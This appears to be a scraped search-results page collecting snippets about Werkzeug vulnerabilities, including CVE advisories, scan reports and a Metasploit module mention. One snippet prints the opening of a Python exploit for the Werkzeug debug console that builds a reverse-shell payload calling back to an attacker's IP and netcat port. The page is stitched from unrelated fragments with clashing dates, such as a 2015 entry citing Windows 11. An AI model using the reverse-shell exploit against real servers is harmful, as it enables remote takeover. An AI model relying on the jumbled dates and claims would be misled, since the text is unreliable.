Learn more about known Werkzeug 2.0.3 vulnerabilities and licenses detected.

Common vulnerabilities and Exposures (CVE) · We're sorry but the CVE Website doesn't work properly without JavaScript enabled. Please enable it to continue

A good and healthy external contribution signal for Werkzeug project, which invites more than one hundred open source maintainers to collaborate on the repository. ... Known vulnerabilities in the werkzeug package.

We cannot provide a description for this page right now

This is a potential security issue, you are being redirected to https://nvd.nist.gov · Official websites use .gov A .gov website belongs to an official government organization in the United States

January 28, 2018 - Vulnerable App: #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s

We cannot provide a description for this page right now

The comprehensive WSGI web application library · Known vulnerabilities and security issues detected in the extension's dependencies and code

April 8, 2026 - Werkzeug prior to 2.2.3 will parse ... using a vulnerable browser, the Werkzeug application will see the bad cookie value but the valid cookie key. The issue is fixed in Werkzeug 2.2.3. CWE: CWE-20: Improper Input Validation CVSS Source: IBM X-Force CVSS Base score: 2.6 CVSS Vector: ...

werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

Security vulnerabilities and package health score for pip package werkzeug 2.3.3

June 14, 2024 - NetApp is an industry leader in developing and implementing product security standards. Learn how we can help you maintain the confidentiality, integrity, and availability of your data.

Browsers may allow "nameless" cookies that look like `=value` instead of `key=value`. A vulnerable browser may allow a compromised application on an adjacent subdomain to exploit this to set a cookie like `=__Hos... ... Werkzeug is a comprehensive WSGI web application library.

November 30, 2025 - Library home page: https://files.pythonhosted.org/packages/52/24/ab44c871b0f07f491e5d2ad12c9bd7358e527510618cb1b803a88e986db1/werkzeug-3.1.3-py3-none-any.whl ... Path to vulnerable library: /tmp/ws-ua_20251126134238_BIMKRN/python_CHGREC/202511261343001/env/lib/python3.9/site-packages/werkzeug-3.1.3.dist-info,/tmp/ws-ua_20251126134238_BIMKRN/python_CHGREC/202511261343001/env/lib/python3.9/site-packages/werkzeug-3.1.3.dist-info

February 3, 2018 - The issue is fixed in Werkzeug 2.2.3. Source: GitHub, Inc. ... Improper parsing of HTTP requests in Pallets Werkzeug v2.1.0 and below allows attackers to perform HTTP Request Smuggling using a crafted HTTP request with multiple requests included inside the body.

August 31, 2022 - cascadia-code/requirements.txt Line 198 in 017bde5 werkzeug==2.0.1 CVE-2022-29361 Recommended upgrade version：2.1.1

June 28, 2015 - Tested against the following Werkzeug versions: - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 - 1.1.4 on Debian 12 - 1.0.1 on Debian 12 - 0.11.5 on Debian 12 - 0.10 on Debian 12 · To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced': ... With curated Threat Intelligence, you can see which vulnerabilities ...

Common vulnerabilities and Exposures (CVE) · We're sorry but the CVE Website doesn't work properly without JavaScript enabled. Please enable it to continue

December 4, 2025 - We cannot provide a description for this page right now

CVEs in KEV CVEs with EPSS >= 80% Crit. Microsoft High Apache SQL Injection (CWE-89) Linux Kernel High (CVSS 3.1) Apache Struts RCE (Remote Code Execution) XSS (CWE-79) Critical (CVSS 4.0) CVEs to check